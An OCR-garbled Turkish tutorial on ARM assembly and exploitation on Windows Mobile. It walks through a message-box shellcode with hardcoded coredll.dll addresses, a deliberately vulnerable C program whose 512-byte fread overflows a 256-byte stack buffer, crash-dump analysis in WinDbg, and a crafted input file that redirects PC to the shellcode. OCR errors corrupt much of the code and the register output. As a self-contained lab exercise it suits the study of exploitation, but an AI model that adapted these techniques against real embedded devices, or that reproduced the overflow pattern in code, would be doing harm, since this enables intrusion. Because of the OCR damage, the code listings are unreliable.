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GiRi$
Bu makale 2009 yilinda Windows Mobile lizerine yaptigim calismalar esnasinda aldigim
notlarin derlenmesiyle olusturulmustur. Her ne kadar windows mobile isletim sistemi artik

omrini tamamlamis olsa da , glin gectikce mobil / gomili sistem givenlik konulari 6nem
kazanmaktadir.

Ulkemizde mobil giivenlik , ARM Assembly / Reversing ve ARM Exploiting konularinda ar-ge
yapacak arkadaslara faydali ve baslangic basamagi olabilecegini diisindigiim icin
paylasmamin faydali olacagina inaniyorum. Zira tlkemizde bu alanlarda ar-ge ve Tiirkce
kaynak eksikligi fazlasiyla gortilmektedir. Bunun disinda WinCE platformunun hala SCADA,
ATM, Restoran/POS otomasyon, GPS sistemlerinde yayginligi da gbz onlinde
bulundurulmalidir.

1) Windows Mobile

e 32 Bit, WInCE tabanli bir isletim sistemi.

e X86, ARM vb. bircok islemci destekli multi platform isletim sistemi

e Windows Mobile de dahil olmak tzere bitilin akilli telefonlar ARM tabanh

e Native yazilimlarin hepsi C++ “ da gelistirilmis. (Orn; Browser , Media Player vb.)

e Yani bilinen zafiyetler bu platformda da gegerli. (Orn; BoF, Use After Free vb.)

e .NET vb. platformlarda uygulama gelistirildigi gibi , 6.1 ve 6.5 i¢cin C++ / ARM Asm
ile native uygulama gelistirmek de mimkdn.

e Yeniversiyonlarda (windows phone 7/8) native uygulama gelistirme yolu
“sanirm” kapal.

e Calstinlabilir dosya formati yapisi itibariyle bildigimiz Windows PE.

e Son olarak 2012 yih itibariyle Microsoft destegini ¢cekti, update / market destegi
bitmis durumda.
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2) ARM islemcisi ve ARM Assembly

e RISC CPU (google RISC and CISC)

e Genelde gomiuli sistemlerde kullanilir

e i0S, Android , Symbian , Windows vb. bir cok isletim sistemi tarafindan
desteklenir.

e X86 assembly’ye benzer

e 37 Register

e RO-R3registerlari fonksiyon parametre ve argiimanlari igin kullanihr.

e Fonksiyon, APl 4’den fazla argiman/parametre aliyorsa ne olur?
- Stack kullanilir :)

e SP ->Stack Pointer

e PC->Program Counter . x86’daki IP ile ayni vazifeyi yapar. Bir sonraki
¢ahstirilacak fonksiyonun adresini tutar.

e LDR (LoaD Register) : Bir registera bir degeri yiklemek icin kullanilabilir.

- Ornek:
LDR r0, =0xb16b00b5
LDRr1, =7

e MOV : bir degeri bir registera tasimak , yliklemek icin kullanilabilir, tipki LDR gibi.
Syntax’i LDR’den farklidir. “=" yerine “#” kullanilir.
- Ornek:
MOV r0, #0xb16b00b5
MOV rl, #7
e BL: x86’ daki CALL instructioni yerine koyabilirsiniz.
- Ornek:
BL printf
BL sleep

B: x86’daki JMP instructioni yerine koyabilirsiniz.

3) Shellcoding

EXPORT start

AREA .text, CODE
start
eor r0, r0, r0
eor rl, rl, rl
eor r2, r2, r2
eor r3, r3, r3
1dr R12, =0x3f6272c ; LoadLibrary Address
adr r0, 1lib ; library name {coredll.dll}
mov lr, pc
mov pc, rl2
ldr rl2, =0x3f7clb5c ; MessageBox Address
mov r0, #0

adr rl, mes




adr r2, mes

mov R3, #0

mov lr, pc

mov pc, rl2
1lib dcb

"C",O, "O",O, "r"’O’ "e"’O’ "d",o, "l",o, "l",o, "."’O’ "d",o, "l",o, "l",o,o

, 0
mes dCb "O",O,"W",O,"n",O,"Z",0,0,0

ALIGN

END

Yukaridaki kod MessageBox ¢agiran bir shellcode 6rnegi. Hemen hemen 2. Bélimde
ogrendigimiz assembly komutlariile yazildi. X86 shellcoding’den farki bulunmuyor.
Kullanacagimiz sistem API lerinin ¢ogu coredll.dll kiitiphanesinden gagiriimakta. Windows
Mobile’de ASLR vb. 6nlem mekanizmalari bulunmadigindan, shellcode igin kullanacagimiz
fonksiyolarin adreslerini coredll.dll icerisinden dogrudan cagiriyoruz. Kodda yapilanlar
sirasiyla;

- LoadLibrary fonksiyon adresini R12 registerina yikle

- Kullanacagimiz Library ismini (coredll.dll) rO registerina yiikle. LoadLibrary
fonksiyonu tek parametre almakta bu ylizden sadece r0 registerini kullandik.

- R12 registerini PC’ registerina tasi ve fonksiyonu calistir.

- Simdi messagebox fonksiyonun adresini R12’ye yikle.

- Fonksiyon parametrelerini (hwnd, Iptext, Ipcaption, utype) sirasiylarO, r1, r2
ve r3 registerlarina yikle.

- Adresi PC'ye tasi ve calistir.

Kodu derleyip hex kodlarini alarak, exploit icerisinde kullanilacak hale getirebilirsiniz.(Null
byte free degildir!).

4) Stack ve Buffer Overflow
ARM stack yapisi x86 islemcilerin stack yapisindan farkl degildir.

ARM stack Layout

414141 |0Ox41414141 [0Ox43434343|

bottom buffer PC top




5) Exploiting Stack Buffer Overflow

#tinclude "stdafx.h"

int shellcode[] =
{
0xE0200000,
OxE0211001,
0xE0222002,
0xE0233003,
OxE59FC048,
O0xE28F0020,
OxE1AOEOOF,
OxE1AOF00C,
OxE59FCO03C,
O0xE3A00000,
OxE28F1024,
O0xE28F2020,
O0xE3A03000,
OxE1AOEOQOF,
OxE1AOF00C,
0x006F0063,
0x00650072,
0x006C0064,
0x002E006C,
0x006C0064,
0x0000006C,
0x0077006F,
0x007A006E,
0x00000000,
0x03F6272C,
Ox03F7C15C,

|5

int bof{()

{
FILE * FileH;
char File[] = "\\file.ov";
char buffer[256];

if ( (FileH = fopen(File, "rb")) == NULL)
{
printf("can't open file %s!\n", File);
return 1;

}

memset(buffer, 0, sizeof(buffer));




fread(buffer, sizeof(char), 512, FileH); /* overflow. */

fclose(FileH);
return O;

}

int WINAPI WinMain( HINSTANCE hinstance,
HINSTANCE hPrevinstance,
LPTSTR IpCmdLine,
int  nCmdShow)
{
bof();
return 0;

Program file.ov dosyasini agmaya calisiyor, file.ov dosyasini okumasi icin ayrilan
hafiza (buffer) 256 byte ancak fread fonksiyonunda 512 byte ‘ a kadar okumasina izin
veriliyor. Yani eger file.ov dosyasi 256 bytedan bliylik olursa bir buffer overflow durumuyla
karsilasacagiz demektir.

Bolim 4’deki sekilden yola cikarsak , 264 Bytelik bir file.ov dosyasi olusturursak ve
programimiz bu dosyayi agarsa;

256 Byte -> buffer degiskeninde tutulacak.
4 byte -> R4 registerinin Gzerine yazilacak.
Son 4 byte -> PC registerinin lizerine yazilacak.

“A” x 260 + “CCCC” formatinda olusturdugumuz bir file.ov dosyasini programimizla agmaya
¢alistigimizda asagidaki goriuntiyle karsilasiyoruz;

bof.exe e igili bir sorun olustu.

Liitfen Microsoft'a bu sorunla ilgili
bilgi werin. Bu bilgi sadece Wi-Fi,
ActiveSync, Windows Mobile Cihaz
Merkezi baglantilariyla
gonderilecektir. Bu veriler sadece
riinlerin gelistiriimesi icin kulanimaktadir.

Rapaor ayrintilarnn gdster

Hata raporlamasini kapat

Cevrimici Gizliik Sartlan

Gonderme Gander



Peki nasil crash analizi yapacagiz ? Olusan crash dump dosyasini Windows/System klasori
altindaki DumpFiles adli dizinde bulabilirsiniz. Windbg aracimiz windows mobile crash dump
dosyalarini da desteklemektedir. Ayni zamanda IDA Pro ve EVC ile runtime debug islemi de
yapabilirsiniz.

A% Dosya Gezgini > 3 Emus mm ¢
@ System - Ad -

EB CabQueue
| |\ certbtls

EB ConfigMgr

EB PushRouter

Ly som

Yukan Menii

Crash dump dosyamizi bilgisayarimiza aktarip WinDbg ile actiktan sonra registerlarin
durumuna goéz attigimizda , bekledigimiz gibi bir sonugla karsilasiyoruz;

(bfd250e.al18320£f2): Access violation — code c0000005 {!!! =econd chance 111}
43434343 YrEreedy 1w

21:431: ©
rO=00000000 xl1=00000000 x2=021820£f3 ri=ffifcbac rd=41414141 rL=2d7=fedl

r6=00000000 r?=0bfd250=e rO=01ffcail0 r9=2d7=fedd rl10=0bfd250= rll=2d7=felc
rl2=0al820f3 =p=2d7efeld lr=000110b0po=434343453p=sr=60000030 -Z2C—— Thunb
43434343 PRERRRYY Y

Yapmamiz gereken overflow istismari ile programin akisini degistirerek , zaten hali hazirda
program icerisinde bulunan ancak Main ‘de ¢agirilmayan shellcode[] degiskenimizi cagirmak.
Shellcode[] degiskeni icerisindeki hex kodlar, 3. Bolimde yazdigimiz shellcode’a karsilik
gelmektedir.

Bunun i¢in yapmamiz gereken , shellcode[] degiskeninin adresini PC registeri (izerine
yazmak. (neden diyorsan, bolim 2’ye don!)

Olusturacagimiz file.ov dosyasi su icerikte olacak;
“Ox41” x 260 + “0x00013048”

0x00013048 - shellcode[] ‘ un adresi



Cffset(h) OO0 01 02 03 04 OS5 O6 OT7 08 05 04 OB OC OD OE OF

QoooooRD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AOALOAOADADARRRARAR
QoO000BD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAOAOADARARRARD
QooooocCo 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAOAOADARARRARA
QoOoOo00ODD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALAOAOADARRARARD
QOOO00ED 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALAOAOAORARARARA
QDOOO0OFD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ALAOADAOAARARARA

ooooo100 41 41 41 41 [CNERNEENET 42 24 24 44 ananfH0 . |oDDD

Yukarida hazirladigimiz file.ov dosyasini programimiz (bof.exe) ile ayni dizine atip,
programimizi calistirdigimizda , BINGO! Programin akisini degistirmeyi basardik!

A8 Dosya Gezgini 0 & 5
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B Windows
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|| Ce091113 2 287K
&7 cemail 10.09.12 1,40M
|#7| Facebook 31.05.12 272K
|&1| fbmail 31.05.12 540K
|&1| file 10.09.12 268B

| marketplace 13.05.12 320K
Yukan m Menii
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